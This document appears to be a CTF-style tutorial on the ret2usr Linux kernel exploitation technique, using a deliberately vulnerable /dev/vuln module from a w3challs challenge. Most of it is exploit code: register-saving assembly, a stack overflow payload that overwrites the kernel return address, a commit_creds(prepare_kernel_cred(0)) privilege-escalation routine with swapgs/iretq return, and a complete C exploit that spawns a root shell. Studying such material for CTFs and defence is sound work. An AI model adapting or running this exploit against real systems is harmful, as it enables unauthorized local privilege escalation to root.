Ret2usr Kernel Exploitation Basic
What is ret2usr
The ret2usr attack exploits the user space of the user space to access the kernel space, but the kernel space can access the user space** This feature directs the kernel code or data stream to the user control, and performs the userspace code completion with the ring 0 privilege. ~CTF Wiki
The ret2usr is pretty similar to ret2shellcode, since we can control things on user-land
we can put shellcode somewhere on the stack then overwrite the return address of the
current function with our shellcode address.
In order to make this technique work, we have to make sure there’s no kaslr
, smep
, smap
and pti
is enabled.
for example I will use challenge from https://w3challs.com/challenges/pwn/knoob
Save state registers
Firstly, before going into kernel-mode
we have to save the state of these registers. then
reload them after gaining root privileges. This is because normally kernel will return to user-land
using 1 instruction either it is sysretq
or iretq
. Most people will use iretq
because as far I know sysretq
is more complicated. The iretq
instruction requires the stack to be setup with 5 user-land
register values
in this order RIP|CS|RFLAGS|SP|SS
the function to save the state can be look like below
void save_state(void){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflag;"
".att_syntax"
);
}
Open the device
We have to open the device in order to interact with the kernel module, the function to open the device will look like this:
void open_device_state(){
opend_ = open("/dev/vuln", O_RDWR);
if(opend_ < 0 ){
write(1,"[-] fail to open device\n",24);
}else{
write(1,"[+] device opened\n",18);
}
}
Overwrite return address
We can use command like echo "AAAAAAAAAAAAAAAAAA" > /dev/vuln
to determine how long the offset to overwrite %rip
then we can make a function to overwrite the current %rip
on the kernel-space
:
void smash(){
unsigned long n = 23;
unsigned long rop[n];
unsigned off = 0;
rop[off++] = 0x4141414141414141;
rop[off++] = 0x4241414141414141;
rop[off++] = 0x4341414141414141;
rop[off++] = 0x4441414141414141;
rop[off++] = 0x4541414141414141;
rop[off++] = 0x4641414141414141;
rop[off++] = 0x4741414141414141;
rop[off++] = 0x4841414141414141;
rop[off++] = 0x4941414141414141;
rop[off++] = 0x4a41414141414141;
rop[off++] = 0x4b41414141414141;
rop[off++] = 0x4c41414141414141;
rop[off++] = 0x4d41414141414141;
rop[off++] = 0x4e41414141414141;
rop[off++] = 0x4f41414141414141;
rop[off++] = 0x5141414141414141;
rop[off++] = 0x5241414141414141;
rop[off++] = 0x5341414141414141;
rop[off++] = 0x5441414141414141;
rop[off++] = 0x5541414141414141;
rop[off++] = 0x5641414141414141;
rop[off++] = 0x5741414141414141;
rop[off++] = (unsigned long)gain_r00t;
write(opend_, rop, sizeof(rop));
}
In order to get privilege escalation, we need to perform commit_creds(prepare_kernel_cred(0))
to
get root permission from kernel-space
, since kaslr
is disabled we can find the address from /proc/kallsyms
/ $ cat /proc/kallsyms | grep commit_creds
ffffffff81084550 T commit_creds
/ $ cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff81084810 T prepare_kernel_cred
Now we can craft the exploit and reload all the registers to achieve root privileges. Since we want a shell to be popped, you need to return to user-land
. the reason is because after running the exploit we are still in kernel-mode
so in order to get a root shell we need to return to user-land
. the code to achieve root privileges and reload 5 register values can be written as follows
void gain_r00t(void){
__asm__(
".intel_syntax noprefix;"
"movabs rax, prepare_kernel_cred;"
"xor rdi, rdi;"
"call rax;"
"mov rdi, rax;"
"movabs rax, commit_creds;"
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_rsp;"
"push r15;"
"mov r15, user_rflag;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
Full exploit
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
unsigned long prepare_kernel_cred = 0xffffffff81084810;
unsigned long commit_creds = 0xffffffff81084550;
int opend_;
unsigned long user_cs, user_ss, user_rsp, user_rflag;
void open_device_state(){
opend_ = open("/dev/vuln", O_RDWR);
if(opend_ < 0 ){
write(1,"[-] fail to open device\n",24);
}else{
write(1,"[+] device opened\n",18);
}
}
void save_state(void){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflag;"
".att_syntax"
);
}
void gain_shell(void){
write(1,"[*] back to userland\n",21);
if(getuid() == 0){
system("/bin/sh");
}else{
write(1, "[-] fail", 8);
}
}
unsigned long user_rip = (unsigned long)gain_shell;
void gain_r00t(void){
__asm__(
".intel_syntax noprefix;"
"movabs rax, prepare_kernel_cred;"
"xor rdi, rdi;"
"call rax;"
"mov rdi, rax;"
"movabs rax, commit_creds;"
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_rsp;"
"push r15;"
"mov r15, user_rflag;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
void smash(){
unsigned long n = 23;
unsigned long rop[n];
unsigned off = 0;
rop[off++] = 0x4141414141414141;
rop[off++] = 0x4241414141414141;
rop[off++] = 0x4341414141414141;
rop[off++] = 0x4441414141414141;
rop[off++] = 0x4541414141414141;
rop[off++] = 0x4641414141414141;
rop[off++] = 0x4741414141414141;
rop[off++] = 0x4841414141414141;
rop[off++] = 0x4941414141414141;
rop[off++] = 0x4a41414141414141;
rop[off++] = 0x4b41414141414141;
rop[off++] = 0x4c41414141414141;
rop[off++] = 0x4d41414141414141;
rop[off++] = 0x4e41414141414141;
rop[off++] = 0x4f41414141414141;
rop[off++] = 0x5141414141414141;
rop[off++] = 0x5241414141414141;
rop[off++] = 0x5341414141414141;
rop[off++] = 0x5441414141414141;
rop[off++] = 0x5541414141414141;
rop[off++] = 0x5641414141414141;
rop[off++] = 0x5741414141414141;
rop[off++] = (unsigned long)gain_r00t;
write(opend_, rop, sizeof(rop));
}
void main(){
save_state();
open_device_state();
smash();
}